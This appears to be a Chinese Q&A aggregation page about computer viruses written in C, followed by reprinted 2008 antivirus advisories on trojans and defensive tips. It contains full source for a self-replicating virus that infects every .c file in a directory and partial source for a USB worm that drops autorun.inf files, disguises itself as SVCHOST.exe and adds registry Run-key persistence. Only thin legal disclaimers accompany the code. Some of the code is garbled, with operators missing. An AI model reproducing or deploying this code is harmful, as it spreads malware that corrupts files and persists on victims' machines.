本文目录一览：
为什么c语言360说是木马病毒
C语言运行会修改内存，一般能修改内存的程序，防毒软件会比较敏感，在跳出来报毒窗口时添加信任
c语言木马源代码
#include stdio.h
#include dir.h
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#includestdio.h\n",out);
fputs("#includedir.h\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;ji-1;j++)
if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(ji-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(ffblk);
}
return 0;
}
严重声明：这个程序只是供C语言新手参考，开玩笑没关系，但如果用来做不法的事情，本人概不负责。还有，编病毒、木马去做违法的事情惩罚是很重的，你如果想学编程，编个简单的就好了，否则后果很严重。
如何用C语言写病毒？
在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.最基本的病毒.\x0d\x0a本病毒的功能:\x0d\x0a1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件\x0d\x0a2.在C、D、E盘中生成自动运行文件\x0d\x0a3.注册c:\windows\system\svchost.exe，使其开机自动运行\x0d\x0a4.在C:\windows\system下生成隐蔽DLL文件\x0d\x0a5.病毒在执行后具有相联复制能力本病毒类似普通U盘病毒雏形，具备自我复制、运行能力。以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过\x0d\x0a请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究\x0d\x0a/* SVCHOST.C */\x0d\x0a/* SVCHOST.EXE */#define SVCHOST_NUM 6\x0d\x0a#include\x0d\x0a#include\x0d\x0achar *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};\x0d\x0achar *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};\x0d\x0achar *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",\x0d\x0a"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",\x0d\x0a"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};\x0d\x0achar *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int copy(char *infile,char *outfile)\x0d\x0a{\x0d\x0a FILE *input,*output;\x0d\x0a char temp;\x0d\x0a if(strcmp(infile,outfile)!=0 ((input=fopen(infile,"rb"))!=NULL) ((output=fopen(outfile,"wb"))!=NULL))\x0d\x0a {\x0d\x0a while(!feof(input))\x0d\x0a {\x0d\x0a fread(temp,1,1,input);\x0d\x0a fwrite(temp,1,1,output);\x0d\x0a }\x0d\x0a fclose(input);\x0d\x0a fclose(output);\x0d\x0a return 0;\x0d\x0a }\x0d\x0a else return 1;\x0d\x0a}\x0d\x0aint main(void)\x0d\x0a{\x0d\x0a FILE *input,*output;\x0d\x0a int i,k;\x0d\x0a for(i=0;i
回答于 2022-12-11
最近又没有新的电脑病毒预警？1月30至2月2日。
瑞星预警：
ARP欺骗者出变种 局域网用户当心中毒
本周有一个病毒特别值得注意，它是：“ARP欺骗者变种C（Trojan.Win32.ArpCheater.c）”病毒。该病毒会向局域网中所有用户发送病毒欺骗包，使其他用户从黑客指定网站下载木马病毒。
本周关注病毒：
ARP欺骗者变种C（Trojan.Win32.ArpCheater.c） 警惕程度 ★★★
这是用一个C语言编写的木马病毒。病毒运行后会向局域网中所有用户发送ARP欺骗包。局域网中其他用户在浏览网页时，就可能会从黑客指定的网站下载新的木马病毒运行，对用户计算机安全构成威胁。同时，感染该病毒的计算机也会自动向局域网发送ARP欺骗数据包，大量的ARP数据包会造成企业网络阻塞甚至瘫痪。
江民预警：
江民今日提醒您注意：在今天的病毒中Trojan/PSW.GamePass.adyx“网游大盗”变种adyx和TrojanSpy.Pophot.b“焦点间谍”变种b值得关注。
病毒名称：Trojan/PSW.GamePass.adyx
中 文 名：“网游大盗”变种adyx
病毒长度：69632字节
病毒类型：木马
危险级别：★★
影响平台：Win 9X/ME/NT/2000/XP/2003
Trojan/PSW.GamePass.adyx“网游大盗”变种adyx是“网游大盗”木马家族的最新成员之一，采用Delphi语言编写，并经过加壳处理。“网游大盗”变种adyx运行后，自我插入到被感染计算机系统的“explorer.exe”进程中加载运行，隐藏自我，防止被查杀。修改注册表，实现木马开机自动运行。在被感染计算机系统的后台盗取Yahoo Messenger聊天工具的用户的帐号和密码、Yahoo奇魔的帐号、密码、身份证和机器名、网络游戏《魔兽世界Online》玩家的游戏帐号、游戏密码、仓库密码、角色等级等信息，并在后台将玩家信息发送到骇客指定的远程服务器上，致使玩家的游戏帐号、装备物品、金钱等丢失，给游戏玩家带来非常大的损失。另外，“网游大盗”变种adyx不仅可以躲避部分安全软件的监控，而且还可以自升级。
病毒名称：TrojanSpy.Pophot.b
中 文 名：“焦点间谍”变种b
病毒长度：385024字节
病毒类型：间谍类木马
危险级别：★★
影响平台：Win 9X/ME/NT/2000/XP/2003
TrojanSpy.Pophot.b“焦点间谍”变种b是“焦点间谍”木马家族的最新成员之一，采用Delphi 6.0 - 7.0编写。“焦点间谍”变种b运行后，自我复制到被感染计算机系统的%SystemRoot%\system32目录下，重新命名为Rpcsexe.exe，并将日期改为创建系统文件时的日期。在相同目录下释放一个恶意DLL组件文件。自我注册为系统服务，实现木马开机自动运行。以系统服务的方式在被感染计算机后台运行。在被感染计算机的后台调用系统IE浏览器进程执行恶意操作，隐藏自我，躲避部分防火墙的监控。利用线程建立Socket连接，在后台连接骇客指定站点，在被感染的计算机上进行恶意操作，致使被感染的计算机被骇客远程完全控制，变成僵尸电脑。另外，“焦点间谍”变种b可自我删除。
国家计算机中心预警：
病毒预报 第二百六十期（2008.1.28-2008.2.3）
国家计算机病毒应急处理中心通过对互联网的监测发现，互联网络上很多使用动态网页技术制作的论坛存在大量的漏洞。恶意攻击者可以利用这些漏洞来攻击论坛获取论坛的管理权限。一旦获取管理权限，就可以在论坛网页上安装恶意木马程序或者盗取论坛用户的密码信息。如果计算机用户浏览了这些论坛网页就可能会被恶意木马程序入侵感染，使计算机系统无法正常使用。
由于动态网页技术比较成熟而且容易使用，因此互联网络上大部分的论坛都采用这种技术，可是动态网页技术存在大量的漏洞，恶意攻击者通过特定的漏洞扫描工具很容易地就发现这些漏洞并且利用它。恶意攻击者得到论坛的管理员权限后，在论坛网页上植入木马程序或者将论坛网页的地址连接指向木马程序存放的地址，这样论坛网页就变成了这些恶意攻击者传播木马程序的平台。
专家提醒：
针对上述情况，我们建议计算机用户采取以下防范措施：
（一）计算机用户在上网浏览时务必不要随意点击不明的网页或程序地址链接。
（二）计算机用户在浏览论坛时，务必打开计算机系统中防病毒软件的“网页监控”功能。
（三）计算机用户应及时下载安装操作系统浏览器的补丁程序，将浏览器的安全属性
值设为“中”级。